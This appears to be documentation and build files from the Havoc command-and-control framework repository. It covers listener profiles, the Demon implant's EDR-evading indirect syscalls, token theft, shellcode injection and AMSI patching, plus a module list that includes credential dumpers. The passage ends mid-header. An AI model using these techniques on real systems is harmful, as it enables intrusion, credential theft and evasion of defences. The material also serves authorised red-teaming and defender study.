Chose from a variety of built-in sleep mask techniques: - `0` - [WaitForSingleObjectEx](https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-waitforsingleobjectex) (no obfuscation) - `1` - [FOLIAGE](https://github.com/SecIdiot/FOLIAGE) - `2` - [Ekko](https://github.com/Cracked5pider/Ekko) - `Injection\Spawn64` - The full path to the process to spawn into for fork & run operations (64bit). - `Injection\Spawn32` - The full path to the process to spawn into for fork & run operations (32bit). #### Listeners > Currently, only HTTP/HTTPS listeners are supported. Havoc supports multiple listener profiles and a variety of configuration options to help customize them. ```hcl Listeners { Http { Name = "HTTPS Listener" KillDate = "2006-01-02 15:04:05" WorkingHours = "8:00-17:00" Hosts = ["10.0.0.10"] PortBind = 443 PortConn = 443 Method = "POST" Secure = true UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36" Uris = [ "/funny_cat.gif", "/index.php", "/test.txt", "/helloworld.js" ] Headers = [ "X-Havoc: true", "X-Havoc-Agent: Demon", ] Response { Headers = [ "Content-type: text/plain", "X-IsHavocFramework: true", ] } } } ``` - `Name` - Name of the listener - `KillDate` - (Optional) Date in which the Demon will terminate itself in UTC - `WorkingHours` - (Optional) The hours in which Demon will check in - `Hosts` - The list of domains that Demon will use to reach the teamserver - `PortBind` - Port that the teamserver will bind to - `PortConn` - Port used by Demon to access the teamserver, if not set, PortBind is used - `Method` - Method to use while checking in (GET or POST) - `Secure` - true for HTTPS, false for HTTP - `UserAgent` - The User Agent that Demon will use - `Uris` - The paths that Demon will use. If more than one is provided, Demon chooses one at random each time - `Headers` - Request headers that Demon will include in all requests - `Response-Headers` - Response headers that the server will include in all responses --- ## Client The Havoc Client is written in C++ and Qt. ### Starting the Client ``` cd Havoc ./havoc client ``` Running `./havoc client` will start the Client. ### Connecting to the Teamserver When the client opens, you will be presented with a profile window similar to that in other C2 frameworks like Cobalt Strike. ![teamserver-client](./assets/Screenshots/Teamserver-Client-Fresh.png) Enter the profile name, teamserver bind address (`Host`) and `Port`, along with your defined username/password in the teamserver profile. Then hit 'Connect' to connect your configured teamserver. ![teamserver-and-client](./assets/Screenshots/Teamserver-LoggedIn.png) --- ## Agents ### Demon Demon is the primary Havoc agent, written in C/ASM. The source-code is located at `Havoc/payloads/Demon`. #### Generating a Demon Payload > Currently, only x64 EXE/DLL formats are supported. From the Havoc UI, nagivate to `Attack -> Payload`. #### Layout | Directory | Description | | --------------- | ----------------------------------------------------- | | `Source/Asm` | Assembly code (return address stack spoofing) | | `Source/Core` | Core functionality (transport, win32 apis, syscalls) | | `Source/Crypt` | AES encryption functionality | | `Source/Extra` | KaynLdr (reflective loader) | | `Source/Inject` | Injection functionality | | `Source/Loader` | COFF Loader, Beacon API | | `Source/Main` | PE/DLL/RDLL Entry Points | #### Features ##### Indirect Syscalls When compiled with `OBF_SYSCALL`, Demon performs indirect syscalls for many Nt* APIs. By masquerading the `RIP` to point to a location within `ntdll.dll`, traps placed by EDR solutions (such as process instrumentation callbacks or other forms of sycall tracing)may be evaded. The Syscall logic is primarily contained within `/Teamserver/data/implants/Demon/Source/Core/Syscalls.c` Syscall stubs are dynamically crafted from ntdll.dll on disk and modified so the return address points to `NtAddBootEntry (0x180024b6)` within the ntdll.dll module. #### Commands Demon has a variety of commands built-in. It also supports the dynamic modification of configuration at runtime, allowing operators to customize defaults pre-set in the profiles throughout an engagement, without modifying the profile and re-generating a payload. Full documentation on commands can be accessed from the Havoc client by typing `help` in the interact window. For more information on a particular command, simply tack it on the end of help like so: `help [command]` ##### `checkin` Requests a checkin request from the Demon. This will output some basic system/configuration information to the Havoc client such as: - Demon Metadata - Magic values - First/Last call in timestamps - AES Key and IV - Sleep Delay - Host Information - Hostname - Username - Domain Name - Internal IP(s) - Process Information - Name - Architecture - PID - Path - Elevated - Operating System - Version - Build - Architecture ##### `sleep` Demon supports sleeping at a specified delay (seconds) with a randomized jitter amount applied in the profile configuration settings. `sleep [delay]` When the Demon sleeps, it first checks if Sleep Masking is enabled in the profile configuration. If so, as long as there are no active job threads running, it will begin to apply the specified sleep obfuscation method and wait until the provided delay to "wake up" and check-in to the teamserver again. During sleep, x64 demons may implement [return address spoofing](https://www.unknowncheats.me/forum/anti-cheat-bypass/268039-x64-return-address-spoofing-source-explanation.html) to hide the real return address. ##### `job` Demon implements a multi-threaded job management system that allows the operator to manage long-running tasks. > OPSEC NOTE: Long-running jobs will PREVENT sleep obfuscation from occurring at the specified sleep interval due to the other threads running. Sleep obfuscation will only occur when there are no job threads in a running state. - `job list` - Lists all running jobs. - `job suspend 1` - Suspends a job with the ID of 1 - `job resume 1` - Resumes a job with the ID of 1 - `job kill 1` - Kills a job with the ID of 1 ##### `proc` Process management and enumeration system. `proc [command]` - `proc list` - Display a list of running processes on the target. - `proc kill [pid]` - Kills a process with the specified PID - `proc create [state] [process] (args)` Start a process either in suspended or normal mode. - `proc module [pid]` lists loaded modules from the specified process. - `proc grep [process name]` searches for specified running process and shows Process Name, Process ID, Process Parent PID, Process User, Process Arch - `proc memory [pid] [memory protection]` queries process memory pages with specified Protection. ##### `token` Demon implements a token management vault that allows for token theft, impersonation and privilege modification. All tokens are preserved within a token vault, allowing the operator to list and impersonate any stolen token when convenient. > Tokens are duplicated using `SecurityIdentification` and `SecurityImpersonate` privileges, allowing `OpenThreadToken` to work on impersonated UIDs with OpenAsSelf set to TRUE. - `token getuid` - Prints the current user id from the token - `token list` - List all stolen tokens in the token vault - `token find-tokens` - Find all tokens that can be stolen on the system - `token steal [pid] (handle)` - Steal the token from the specified PID and save it to the token vault - `token impersonate [id]` - Impersonate a token from the token vault - `token make [domain] [username] [password]` - Creates a token from the specified credentials and adds it to the vault - `token privs-get` - Attempt to acquire all privileges from the current token - `token privs-list` - List all privileges from the current token - `token revert` - Reverts back to the default process token - `token remove [id]` - Removes a token from the vault - `token clear` - Removes all tokens from the vault. ##### `shellcode` Demon is capable of injecting shellcode (supplied in raw format as a path) into remote processes using process injection or fork & run. Depending on the technique, operators can chose to use higher-level Win32 APIs or NT versions using indirect syscalls. - `shellcode inject x64 [pid] [path-to-raw-shellcode]` - Injects shellcode into the remote process - `shellcode spawn x64 [path-to-raw-shellcode]` - Launches the defined fork & run process and injects the shellcode > OPSEC NOTE: Depending on your injection technique and configuration settings, certain API calls may be performed outside of indirect syscalls. Here is a high-level overview of each supported process injection technique: > `*` means the API call is performed with indirect syscalls **`INJECTION_TECHNIQUE_SYSCALL`** 1. `CreateProcessA` 2. Allocate Memory - `DX_MEM_WIN32 -> VirtualAllocEx` - `DX_MEM_SYSCALL -> NtAllocateVirtualMemory*` 3. `NtWriteVirtualMemory*` 4. `NtProtectVirtualMemory*` 5. Create Thread - `DX_THREAD_WIN32 -> CreateRemoteThread` - `DX_THREAD_SYSCALL -> NtCreateThreadEx*` 6. `NtResumeThread*` ##### `dotnet` - `dotnet list-versions` - Lists all of the installed dotnet versions - `dotnet inline-execute [path-to-assembly] [args]` - Executes the dotnet assembly inside of the current process and returns output > OPSEC NOTE: Calling `inline-execute` creates an instance of the CLR (Common Language Runtime) within the demon's process to execute dotnet assemblies. This is an irreversible procedure and may provide more IoCs to defenders. The `inline-execute` works by first creating an instance of the CLR (Common Language Runtime) within the current Demon process. After the CLR is created, `amsi.dll` is loaded and patched in-memory to bypass AMSI scanning. Demon then creates an AppDomain and loads the assembly into memory, finding the entry point and passing the commandline args supplied by the user before invoking the method. Output from the assembly is captured and returned to the teamserver. (INCOMPLETE) --- ## ExternalC2 Havoc supports custom agents and ExternalC2 by using Teamserver service endpoints. These are configured using `Service` directives (see the Teamserver Profiles documentation). The Service module is for interacting with external services (custom agents, ExternalC2, etc). By registering a Service directive, the Teamserver will automatically spawn a service listener that can route commands to/from the Teamserver. ```hcl Service { Endpoint = "service-endpoint" Password = "service-password" } ``` This would create a service endpoint at `:/service-endpoint` that is authenticated with `service-password`. ## Custom Agents Using Havoc's Service API, custom, third-party agents can be written to interact with the teamserver using the intermediate Python API. An example of a third-party agent is provided here: [https://github.com/HavocFramework/Talon](https://github.com/HavocFramework/Talon) `Talon.py` connects to the Teamserver over the `Endpoint` defined in the `Service` directive of the teamserver profile. ```python from havoc.service import HavocService from havoc.agent import * class MyCustomAgent(AgentType): # ... pass agent = MyCustomAgent() havoc_service = HavocService( endpoint="ws://0.0.0.0:40056/service-endpoint", password="service-password" ) havoc_service.register_agent(agent) ``` Custom commands can be defined using the Python API and extending the Command class: ```python class CommandShell(Command): CommandId = COMMAND_SHELL Name = "shell" Description = "executes commands using cmd.exe" Help = "" NeedAdmin = False Params = [ CommandParam( name="commands", is_file_path=False, is_optional=False ) ] Mitr = [] def job_generate( self, arguments: dict ) -> bytes: Task = Packer() Task.add_int( self.CommandId ) Task.add_data( "c:\windows\system32\cmd.exe /c " + arguments[ 'commands' ] ) return Task.buffer ``` --- ## Python API [https://github.com/HavocFramework/havoc-py](https://github.com/HavocFramework/havoc-py) --- ## Modules Aside from Havoc's built-in commands, Modules can be loaded into the framework to add more functionality. An example of some of Havoc's official modules can be found at this repository: [https://github.com/HavocFramework/Modules](https://github.com/HavocFramework/Modules) Module Template: [https://github.com/HavocFramework/Modules/tree/main/Template](https://github.com/HavocFramework/Modules/tree/main/Template) Official Modules: - Powerpick - Executes unmanaged PowerShell commands by loading the CLR runtime (`4.0.30319`) into the designated fork & run process. - InvokeAssembly - Executes a dotnet assembly into a separate process by bootsrapping the CLR into the designated fork & run process and passing the arguments. - The dotnet version can be specified in the arguments (`v4.0.30319` is default), as well as the AppDomain name (`DefaultAppDomain` is default). --- ## FAQ ### Why does Havoc not perform sleep obfuscation when jobs are running? Jobs are ran in their own threads, and sleep obfuscation requires that all threads are suspended in order to encrypt the heap, otherwise the process would crash. --- ================================================ FILE: assets/Havoc-Client.groovy ================================================ pipeline { agent any environment { TEST="ENV vars go here" TOOLNAME="HavocFramework" } stages{ stage('Cleanup'){ steps{ deleteDir() dir("${TOOLNAME}"){ deleteDir() } } } //Local // stage('Add-Havoc'){ // steps{ // sh "pwd && ls" // sh "cp -R /Build/* ${WORKSPACE}/" // } // } //Remote stage('Git Havoc'){ steps{ sh 'git clone --single-branch --branch main https://github.com/HavocFramework/Havoc.git' } } stage('Build-1-make clean'){ steps{ sh "cd ./Havoc/Client/ && make clean" } } stage('Build-2-make build dir'){ steps{ sh "mkdir cd ./Havoc/Client/Build && cd ./Havoc/Client/Build && cmake .." } } stage('Build-3-make Build'){ steps{ sh "cd ./Havoc/Client/ && cmake --build Build" } } stage('Sanity-Check'){ steps{ sh 'file ./Havoc/Client/Havoc' } } } } ================================================ FILE: assets/Havoc-Teamserver.groovy ================================================ pipeline { agent any environment { TEST="ENV vars go here" TOOLNAME="HavocFramework" } stages{ stage('Cleanup'){ steps{ deleteDir() dir("${TOOLNAME}"){ deleteDir() } } } //Local // stage('Add-Havoc'){ // steps{ // sh "pwd && ls" // sh "cp -R /Build/* ${WORKSPACE}/" // } // } //Remote stage('Git Havoc'){ steps{ sh 'git clone --single-branch --branch main https://github.com/HavocFramework/Havoc.git' } } stage('Install-MUSL C compiler'){ steps{ sh "pwd && ls" sh "cd ./Havoc/Teamserver/ && chmod +x ./Install.sh && ./Install.sh" } } stage('Build'){ steps{ sh "pwd && ls" sh "cd ./Havoc/Teamserver/ && make" } } stage('Sanity-Check'){ steps{ sh 'file ./Havoc/Teamserver/teamserver' } } } } ================================================ FILE: client/CMakeLists.txt ================================================ cmake_minimum_required( VERSION 3.15 ) project( Havoc ) ## ## cmake sets ## set( QT_VERSION 5 ) set( CMAKE_CXX_STANDARD 20 ) set( CMAKE_AUTOMOC ON ) set( CMAKE_AUTORCC ON ) set( CMAKE_AUTOUIC ON ) set( CMAKE_CPP_COMPILER /usr/bin/x86_64-w64-mingw32-g++ ) set( CMAKE_C_COMPILER /usr/bin/x86_64-w64-mingw32-gcc ) set( CMAKE_CXX_FLAGS "-fpermissive" ) set( REQUIRED_LIBS Core Gui Widgets Network WebSockets Sql ) set( REQUIRED_LIBS_QUALIFIED Qt5::Core Qt5::Gui Qt5::Widgets Qt5::Network Qt5::WebSockets Qt5::Sql ) set( APP_ICON_RESOURCE_WINDOWS "data/Havoc.qrc" ) set( CMAKE_RUNTIME_OUTPUT_DIRECTORY .. ) set( CMAKE_INCLUDE_CURRENT_DIR ON ) ## ## Ensure 3.10 is used if present. ## If not, modules will not work within the client. ## set( Python_ADDITIONAL_VERSIONS 3.10 ) ## ## import includes and external libraries ## include_directories( include ) include_directories( external/spdlog/include ) include_directories( external/json/include ) include_directories( external/toml ) ## ## find qt packages ## find_package( Qt${QT_VERSION} COMPONENTS ${REQUIRED_LIBS} REQUIRED ) ## ## apple support ## if(APPLE) find_package( Python 3 COMPONENTS Interpreter Development REQUIRED ) set( PYTHON_MAJOR $ENV{Python_VERSION_MAJOR} ) set( PYTHON_MINOR $ENV{Python_VERSION_MINOR} ) set( PYTHONLIBS_VERSION_STRING ${Python_VERSION} ) set( PYTHON_INCLUDE_DIR ${Python_INCLUDE_DIRS} ) set( PYTHON_LIBRARIES ${Python_LIBRARIES} ) message( "Apple - Using Python:${Python_VERSION_MAJOR} - Libraries:${PYTHON_LIBRARIES} - includeDirs: ${PYTHON_INCLUDE_DIR}" ) elseif(UNIX) find_package( PythonLibs 3 REQUIRED ) else() set( PYTHONLIBS_VERSION_STRING $ENV{PY_VERSION} ) endif() if(APPLE) execute_process( COMMAND brew --prefix OUTPUT_VARIABLE BREW_PREFIX ) #this because brew install location differs Intel/Apple Silicon macs string( STRIP ${BREW_PREFIX} BREW_PREFIX ) #for some reason this happens: https://gitlab.kitware.com/cmake/cmake/-/issues/22404 include_directories( "${BREW_PREFIX}/bin/python3.10" ) include_directories( "${BREW_PREFIX}/Frameworks/Python.framework/Headers" ) elseif(UNIX) include_directories( ${PYTHON_INCLUDE_DIRS} ) endif() set( HAVOC_INCLUDE # Misc include/Havoc/Connector.hpp include/Havoc/DBManager/DBManager.hpp include/Havoc/DemonCmdDispatch.h include/Havoc/Packager.hpp include/Havoc/Havoc.hpp include/Havoc/Service.hpp include/Havoc/CmdLine.hpp # Python Api include/Havoc/PythonApi/PythonApi.h include/Havoc/PythonApi/Event.h include/Havoc/PythonApi/HavocUi.h include/Havoc/PythonApi/PyAgentClass.hpp include/Havoc/PythonApi/UI/PyDialogClass.hpp include/Havoc/PythonApi/UI/PyLoggerClass.hpp include/Havoc/PythonApi/UI/PyTreeClass.hpp include/Havoc/PythonApi/UI/PyWidgetClass.hpp # Dialogs include/UserInterface/Dialogs/Payload.hpp include/UserInterface/Dialogs/About.hpp include/UserInterface/Dialogs/Connect.hpp include/UserInterface/Dialogs/Listener.hpp # small widgets include/UserInterface/SmallWidgets/EventViewer.hpp include/UserInterface/SmallWidgets/EventViewer.hpp # widgets include/UserInterface/Widgets/Chat.hpp include/UserInterface/Widgets/DemonInteracted.h include/UserInterface/Widgets/ListenerTable.hpp include/UserInterface/Widgets/ProcessList.hpp include/UserInterface/Widgets/PythonScript.hpp include/UserInterface/Widgets/SessionTable.hpp include/UserInterface/Widgets/SessionGraph.hpp include/UserInterface/Widgets/TeamserverTabSession.h include/UserInterface/Widgets/ScriptManager.h include/UserInterface/Widgets/LootWidget.h include/UserInterface/Widgets/FileBrowser.hpp include/UserInterface/Widgets/Teamserver.hpp include/UserInterface/Widgets/Store.hpp include/UserInterface/HavocUI.hpp ) # src for UI set( HAVOC_UI src/UserInterface/HavocUi.cc src/global.cc # Dialogs src/UserInterface/Dialogs/About.cc src/UserInterface/Dialogs/Connect.cc src/UserInterface/Dialogs/Listener.cc src/UserInterface/Dialogs/Payload.cc # Widgets src/UserInterface/Widgets/SessionTable.cc src/UserInterface/Widgets/SessionGraph.cc src/UserInterface/Widgets/Chat.cc src/UserInterface/Widgets/ListenersTable.cc src/UserInterface/Widgets/DemonInteracted.cc src/UserInterface/Widgets/TeamserverTabSession.cc src/UserInterface/Widgets/PythonScript.cc src/UserInterface/Widgets/ScriptManager.cc src/UserInterface/Widgets/LootWidget.cc src/UserInterface/Widgets/FileBrowser.cc src/UserInterface/Widgets/Teamserver.cc src/UserInterface/Widgets/Store.cc src/UserInterface/Widgets/ProcessList.cc # SmallWidgets src/UserInterface/SmallWidgets/EventViewer.cc ) set( HAVOC_UTIL src/Util/ColorText.cpp src/Util/Base64.cpp src/Util/Base.cpp ) # src for Havoc set( HAVOC_SOURCE src/Main.cc src/Havoc/Packager.cc src/Havoc/Connector.cc src/Havoc/Service.cc src/Havoc/DBManger/DBManager.cc src/Havoc/DBManger/Teamserver.cc src/Havoc/DBManger/Scripts.cc src/Havoc/Demon/ConsoleInput.cc src/Havoc/Demon/CommandSend.cc src/Havoc/Demon/CommandOutput.cc src/Havoc/Demon/Commands.cc src/Havoc/PythonApi/PythonApi.cc src/Havoc/PythonApi/Havoc.cc src/Havoc/PythonApi/HavocUi.cc src/Havoc/PythonApi/UI/PyDialogClass.cc src/Havoc/PythonApi/UI/PyLoggerClass.cc src/Havoc/PythonApi/UI/PyTreeClass.cc src/Havoc/PythonApi/UI/PyWidgetClass.cc src/Havoc/PythonApi/PyDemonClass.cc src/Havoc/PythonApi/Event.cc src/Havoc/PythonApi/PyAgentClass.cc src/Havoc/Havoc.cc ${HAVOC_UI} ) add_executable( ${PROJECT_NAME} ${HAVOC_INCLUDE} ${HAVOC_SOURCE} ${HAVOC_UTIL} ${APP_ICON_RESOURCE_WINDOWS} data/Havoc.rc ) add_definitions( -DQT_NO_DEBUG_OUTPUT ) target_link_libraries( ${PROJECT_NAME} ${REQUIRED_LIBS_QUALIFIED} ${PYTHON_LIBRARIES} # spdlog::spdlog # spdlog::spdlog_header_only ) ================================================ FILE: client/README.md ================================================ # Havoc Teamserver Client Havoc Gui Client source code. ================================================ FILE: client/config.toml ================================================ [font] size = 9 family = "Monospace" [scripts] files = [ "client/Modules/Packer/packer.py", "client/Modules/InvokeAssembly/invokeassembly.py", "client/Modules/PowerPick/powerpick.py", "client/Modules/SituationalAwareness/SituationalAwareness.py", "client/Modules/Delegation/delegation.py", "client/Modules/RemoteOps/RemoteOps.py", "client/Modules/Domaininfo/Domaininfo.py", "client/Modules/Jump-exec/ScShell/scshell.py", "client/Modules/Jump-exec/Psexec/psexec.py", "client/Modules/Jump-exec/WMI/wmi.py", "client/Modules/nanodump/nanodump.py", "client/Modules/nanorobeus/nanorobeus.py", "client/Modules/Bofbelt/bofbelt.py", "client/Modules/SamDump/samdump.py", "client/Modules/NoConsolation/no-consolation.py" ] ================================================ FILE: client/include/External.h ================================================ #ifndef HAVOC_EXTERNAL_H #define HAVOC_EXTERNAL_H #include #include #include using json = nlohmann::json; #endif //HAVOC_EXTERNAL_H ================================================ FILE: client/include/Havoc/CmdLine.hpp ================================================ /* Copyright (c) 2009, Hideyuki Tanaka All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY ''AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #pragma once #include #include #include #include #include #include #include #include #include #include #include namespace cmdline{ namespace detail{ template class lexical_cast_t{ public: static Target cast(const Source &arg){ Target ret; std::stringstream ss; if (!(ss<>ret && ss.eof())) throw std::bad_cast(); return ret; } }; template class lexical_cast_t{ public: static Target cast(const Source &arg){ return arg; } }; template class lexical_cast_t{ public: static std::string cast(const Source &arg){ std::ostringstream ss; ss< class lexical_cast_t{ public: static Target cast(const std::string &arg){ Target ret; std::istringstream ss(arg); if (!(ss>>ret && ss.eof())) throw std::bad_cast(); return ret; } }; template struct is_same { static const bool value = false; }; template struct is_same{ static const bool value = true; }; template Target lexical_cast(const Source &arg) { return lexical_cast_t::value>::cast(arg); } static inline std::string demangle(const std::string &name) { int status=0; char *p=abi::__cxa_demangle(name.c_str(), 0, 0, &status); std::string ret(p); free(p); return ret; } template std::string readable_typename() { return demangle(typeid(T).name()); } template std::string default_value(T def) { return detail::lexical_cast(def); } template <> inline std::string readable_typename() { return "string"; } } // detail //----- class cmdline_error : public std::exception { public: cmdline_error(const std::string &msg): msg(msg){} ~cmdline_error() throw() {} const char *what() const throw() { return msg.c_str(); } private: std::string msg; }; template struct default_reader{ T operator()(const std::string &str){ return detail::lexical_cast(str); } }; template struct range_reader{ range_reader(const T &low, const T &high): low(low), high(high) {} T operator()(const std::string &s) const { T ret=default_reader()(s); if (!(ret>=low && ret<=high)) throw cmdline::cmdline_error("range_error"); return ret; } private: T low, high; }; template range_reader range(const T &low, const T &high) { return range_reader(low, high); } template struct oneof_reader{ T operator()(const std::string &s){ T ret=default_reader()(s); if (std::find(alt.begin(), alt.end(), ret)==alt.end()) throw cmdline_error(""); return ret; } void add(const T &v){ alt.push_back(v); } private: std::vector alt; }; template oneof_reader oneof(T a1) { oneof_reader ret; ret.add(a1); return ret; } template oneof_reader oneof(T a1, T a2) { oneof_reader ret; ret.add(a1); ret.add(a2); return ret; } template oneof_reader oneof(T a1, T a2, T a3) { oneof_reader ret; ret.add(a1); ret.add(a2); ret.add(a3); return ret; } template oneof_reader oneof(T a1, T a2, T a3, T a4) { oneof_reader ret; ret.add(a1); ret.add(a2); ret.add(a3); ret.add(a4); return ret; } template oneof_reader oneof(T a1, T a2, T a3, T a4, T a5) { oneof_reader ret; ret.add(a1); ret.add(a2); ret.add(a3); ret.add(a4); ret.add(a5); return ret; } template oneof_reader oneof(T a1, T a2, T a3, T a4, T a5, T a6) { oneof_reader ret; ret.add(a1); ret.add(a2); ret.add(a3); ret.add(a4); ret.add(a5); ret.add(a6); return ret; } template oneof_reader oneof(T a1, T a2, T a3, T a4, T a5, T a6, T a7) { oneof_reader ret; ret.add(a1); ret.add(a2); ret.add(a3); ret.add(a4); ret.add(a5); ret.add(a6); ret.add(a7); return ret; } template oneof_reader oneof(T a1, T a2, T a3, T a4, T a5, T a6, T a7, T a8) { oneof_reader ret; ret.add(a1); ret.add(a2); ret.add(a3); ret.add(a4); ret.add(a5); ret.add(a6); ret.add(a7); ret.add(a8); return ret; } template oneof_reader oneof(T a1, T a2, T a3, T a4, T a5, T a6, T a7, T a8, T a9) { oneof_reader ret; ret.add(a1); ret.add(a2); ret.add(a3); ret.add(a4); ret.add(a5); ret.add(a6); ret.add(a7); ret.add(a8); ret.add(a9); return ret; } template oneof_reader oneof(T a1, T a2, T a3, T a4, T a5, T a6, T a7, T a8, T a9, T a10) { oneof_reader ret; ret.add(a1); ret.add(a2); ret.add(a3); ret.add(a4); ret.add(a5); ret.add(a6); ret.add(a7); ret.add(a8); ret.add(a9); ret.add(a10); return ret; } //----- class parser{ public: parser(){ } ~parser(){ for (std::map::iterator p=options.begin(); p!=options.end(); p++) delete p->second; } void add(const std::string &name, char short_name=0, const std::string &desc=""){ if (options.count(name)) throw cmdline_error("multiple definition: "+name); options[name]=new option_without_value(name, short_name, desc); ordered.push_back(options[name]); } template void add(const std::string &name, char short_name=0, const std::string &desc="", bool need=true, const T def=T()){ add(name, short_name, desc, need, def, default_reader()); } template void add(const std::string &name, char short_name=0, const std::string &desc="", bool need=true, const T def=T(), F reader=F()){ if (options.count(name)) throw cmdline_error("multiple definition: "+name); options[name]=new option_with_value_with_reader(name, short_name, need, def, desc, reader); ordered.push_back(options[name]); } void footer(const std::string &f){ ftr=f; } void set_program_name(const std::string &name){ prog_name=name; } bool exist(const std::string &name) const { if (options.count(name)==0) throw cmdline_error("there is no flag: --"+name); return options.find(name)->second->has_set(); } template const T &get(const std::string &name) const { if (options.count(name)==0) throw cmdline_error("there is no flag: --"+name); const option_with_value *p=dynamic_cast*>(options.find(name)->second); if (p==NULL) throw cmdline_error("type mismatch flag '"+name+"'"); return p->get(); } const std::vector &rest() const { return others; } bool parse(const std::string &arg){ std::vector args; std::string buf; bool in_quote=false; for (std::string::size_type i=0; i=arg.length()){ errors.push_back("unexpected occurrence of '\\' at end of string"); return false; } } buf+=arg[i]; } if (in_quote){ errors.push_back("quote is not closed"); return false; } if (buf.length()>0) args.push_back(buf); for (size_t i=0; i &args){ int argc=static_cast(args.size()); std::vector argv(argc); for (int i=0; i lookup; for (std::map::iterator p=options.begin(); p!=options.end(); p++){ if (p->first.length()==0) continue; char initial=p->second->short_name(); if (initial){ if (lookup.count(initial)>0){ lookup[initial]=""; errors.push_back(std::string("short option '")+initial+"' is ambiguous"); return false; } else lookup[initial]=p->first; } } for (int i=1; i &args){ if (!options.count("help")) add("help", '?', "print this message"); check(args.size(), parse(args)); } void parse_check(int argc, char *argv[]){ if (!options.count("help")) add("help", '?', "print this message"); check(argc, parse(argc, argv)); } std::string error() const{ return errors.size()>0?errors[0]:""; } std::string error_full() const{ std::ostringstream oss; for (size_t i=0; imust()) oss<short_description()<<" "; } oss<<"[options] ... "<name().length()); } for (size_t i=0; ishort_name()){ oss<<" -"<short_name()<<", "; } else{ oss<<" "; } oss<<"--"<name(); for (size_t j=ordered[i]->name().length(); jdescription()<set()){ errors.push_back("option needs value: --"+name); return; } } void set_option(const std::string &name, const std::string &value){ if (options.count(name)==0){ errors.push_back("undefined option: --"+name); return; } if (!options[name]->set(value)){ errors.push_back("option value is invalid: --"+name+"="+value); return; } } class option_base{ public: virtual ~option_base(){} virtual bool has_value() const=0; virtual bool set()=0; virtual bool set(const std::string &value)=0; virtual bool has_set() const=0; virtual bool valid() const=0; virtual bool must() const=0; virtual const std::string &name() const=0; virtual char short_name() const=0; virtual const std::string &description() const=0; virtual std::string short_description() const=0; }; class option_without_value : public option_base { public: option_without_value(const std::string &name, char short_name, const std::string &desc) :nam(name), snam(short_name), desc(desc), has(false){ } ~option_without_value(){} bool has_value() const { return false; } bool set(){ has=true; return true; } bool set(const std::string &){ return false; } bool has_set() const { return has; } bool valid() const{ return true; } bool must() const{ return false; } const std::string &name() const{ return nam; } char short_name() const{ return snam; } const std::string &description() const { return desc; } std::string short_description() const{ return "--"+nam; } private: std::string nam; char snam; std::string desc; bool has; }; template class option_with_value : public option_base { public: option_with_value(const std::string &name, char short_name, bool need, const T &def, const std::string &desc) : nam(name), snam(short_name), need(need), has(false) , def(def), actual(def) { this->desc=full_description(desc); } ~option_with_value(){} const T &get() const { return actual; } bool has_value() const { return true; } bool set(){ return false; } bool set(const std::string &value){ try{ actual=read(value); has=true; } catch(const std::exception &e){ return false; } return true; } bool has_set() const{ return has; } bool valid() const{ if (need && !has) return false; return true; } bool must() const{ return need; } const std::string &name() const{ return nam; } char short_name() const{ return snam; } const std::string &description() const { return desc; } std::string short_description() const{ return "--"+nam+"="+detail::readable_typename(); } protected: std::string full_description(const std::string &desc){ return desc+" ("+detail::readable_typename()+ (need?"":" [="+detail::default_value(def)+"]") +")"; } virtual T read(const std::string &s)=0; std::string nam; char snam; bool need; std::string desc; bool has; T def; T actual; }; template class option_with_value_with_reader : public option_with_value { public: option_with_value_with_reader(const std::string &name, char short_name, bool need, const T def, const std::string &desc, F reader) : option_with_value(name, short_name, need, def, desc), reader(reader){ } private: T read(const std::string &s){ return reader(s); } F reader; }; std::map options; std::vector ordered; std::string ftr; std::string prog_name; std::vector others; std::vector errors; }; } // cmdline ================================================ FILE: client/include/Havoc/Connector.hpp ================================================ #ifndef HAVOC_CONNECTOR_HPP #define HAVOC_CONNECTOR_HPP #include #include #include #include #include #include namespace HavocNamespace { class Connector : public QTcpSocket { private: QWebSocket* Socket = nullptr; Util::ConnectionInfo* Teamserver = nullptr; HavocSpace::Packager* Packager = nullptr; public: QString ErrorString = nullptr; Connector( Util::ConnectionInfo* ); ~Connector() noexcept; bool Disconnect(); void SendLogin(); void SendPackage( Util::Packager::PPackage package ); }; } #endif //HAVOC_CONNECTOR_HPP ================================================ FILE: client/include/Havoc/DBManager/DBManager.hpp ================================================ #ifndef HAVOC_DBMANAGER_HPP #define HAVOC_DBMANAGER_HPP #include #include #include #include using namespace std; class HavocNamespace::HavocSpace::DBManager { private: QSqlDatabase DB; bool createNewDatabase(); public: static string DBFilePath; static int OpenSqlFile; static int CreateSqlFile; DBManager(const QString& FilePath, int OpenFlag = OpenSqlFile); bool addTeamserverInfo( const Util::ConnectionInfo& ); bool checkTeamserverExists( const QString& ProfileName ); bool removeTeamserverInfo( const QString& ProfileName ); bool removeAllTeamservers(); vector listTeamservers(); bool AddScript( QString Path ); bool RemoveScript( QString Path ); bool CheckScript( QString Path ); vector GetScripts(); }; #endif ================================================ FILE: client/include/Havoc/DemonCmdDispatch.h ================================================ #ifndef HAVOC_DEMONCMDDISPATCH_H #define HAVOC_DEMONCMDDISPATCH_H #include #include #include using namespace std; using namespace HavocNamespace; #define SEND( f ) \ if ( Send ) f; return true; #define 